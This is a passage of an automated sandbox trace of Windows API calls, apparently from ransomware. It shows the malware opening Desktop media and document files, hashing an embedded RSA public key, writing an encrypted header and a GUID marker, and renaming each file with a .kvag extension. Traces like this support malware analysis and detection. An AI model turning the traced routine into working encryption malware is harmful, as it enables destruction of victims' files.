RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.298] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15345, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.298] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.298] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.298] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.298] CloseHandle (hObject=0x61c) returned 1 [0120.299] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Ly7OJHzcLLYB H_Z.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\ly7ojhzcllyb h_z.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Ly7OJHzcLLYB H_Z.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\ly7ojhzcllyb h_z.m4a.kvag")) returned 1 [0120.300] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1f0240, ftCreationTime.dwHighDateTime=0x1d4c8ba, ftLastAccessTime.dwLowDateTime=0x9af83c40, ftLastAccessTime.dwHighDateTime=0x1d4c89c, ftLastWriteTime.dwLowDateTime=0x9af83c40, ftLastWriteTime.dwHighDateTime=0x1d4c89c, nFileSizeHigh=0x0, nFileSizeLow=0x16e68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nIRMb.avi", cAlternateFileName="")) returned 1 [0120.300] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\nIRMb.avi") returned=".avi" [0120.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\nIRMb.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\nirmb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.302] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=93800) returned 1 [0120.302] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.304] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16e42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.304] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.306] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16e68, lpOverlapped=0x0) returned 1 [0120.306] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.306] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.306] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.306] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.307] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.307] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.307] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.307] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.307] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.307] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.308] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.308] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.308] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.308] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.309] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16e68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.309] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.309] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.309] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.309] CloseHandle (hObject=0x61c) returned 1 [0120.310] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\nIRMb.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\nirmb.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\nIRMb.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\nirmb.avi.kvag")) returned 1 [0120.312] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23c0590, ftCreationTime.dwHighDateTime=0x1d4d2f2, ftLastAccessTime.dwLowDateTime=0x44518c70, ftLastAccessTime.dwHighDateTime=0x1d4cbf8, ftLastWriteTime.dwLowDateTime=0x44518c70, ftLastWriteTime.dwHighDateTime=0x1d4cbf8, nFileSizeHigh=0x0, nFileSizeLow=0x6f75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q2iWyxqWtvZV30.mkv", cAlternateFileName="Q2IWYX~1.MKV")) returned 1 [0120.312] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Q2iWyxqWtvZV30.mkv") returned=".mkv" [0120.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Q2iWyxqWtvZV30.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\q2iwyxqwtvzv30.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.312] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=28533) returned 1 [0120.313] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.314] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6f4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.314] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.316] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x6f75, lpOverlapped=0x0) returned 1 [0120.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.316] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.317] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.317] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.317] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.317] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.317] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.317] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.317] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.317] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.317] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.318] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.318] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6f75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.318] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.318] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.318] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.318] CloseHandle (hObject=0x61c) returned 1 [0120.319] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Q2iWyxqWtvZV30.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\q2iwyxqwtvzv30.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Q2iWyxqWtvZV30.mkv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\q2iwyxqwtvzv30.mkv.kvag")) returned 1 [0120.320] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93064e0, ftCreationTime.dwHighDateTime=0x1d4cb44, ftLastAccessTime.dwLowDateTime=0x7a44ebc0, ftLastAccessTime.dwHighDateTime=0x1d4ce36, ftLastWriteTime.dwLowDateTime=0x7a44ebc0, ftLastWriteTime.dwHighDateTime=0x1d4ce36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RynyhXN0v", cAlternateFileName="RYNYHX~1")) returned 1 [0120.320] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c794240, ftCreationTime.dwHighDateTime=0x1d4c820, ftLastAccessTime.dwLowDateTime=0x4d1bda30, ftLastAccessTime.dwHighDateTime=0x1d4c555, ftLastWriteTime.dwLowDateTime=0x4d1bda30, ftLastWriteTime.dwHighDateTime=0x1d4c555, nFileSizeHigh=0x0, nFileSizeLow=0x18209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xKt-nxaBrLKyf.m4a", cAlternateFileName="XKT-NX~1.M4A")) returned 1 [0120.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\xKt-nxaBrLKyf.m4a") returned=".m4a" [0120.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\xKt-nxaBrLKyf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\xkt-nxabrlkyf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.321] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=98825) returned 1 [0120.321] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.323] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x181e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.323] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.326] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x18209, lpOverlapped=0x0) returned 1 [0120.327] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.327] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.327] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.327] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.328] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.328] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.328] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.328] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.328] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.328] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.328] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.328] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.328] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.328] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.329] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18209, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.329] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.329] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.329] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.329] CloseHandle (hObject=0x61c) returned 1 [0120.332] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\xKt-nxaBrLKyf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\xkt-nxabrlkyf.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\xKt-nxaBrLKyf.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\xkt-nxabrlkyf.m4a.kvag")) returned 1 [0120.333] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 1 [0120.333] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\zEPqRnNSMkR2u9.pptx") returned=".pptx" [0120.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\zEPqRnNSMkR2u9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\zepqrnnsmkr2u9.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.333] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=31332) returned 1 [0120.333] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.335] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7a3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.335] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.337] ReadFile (in: hFile=0x61c, 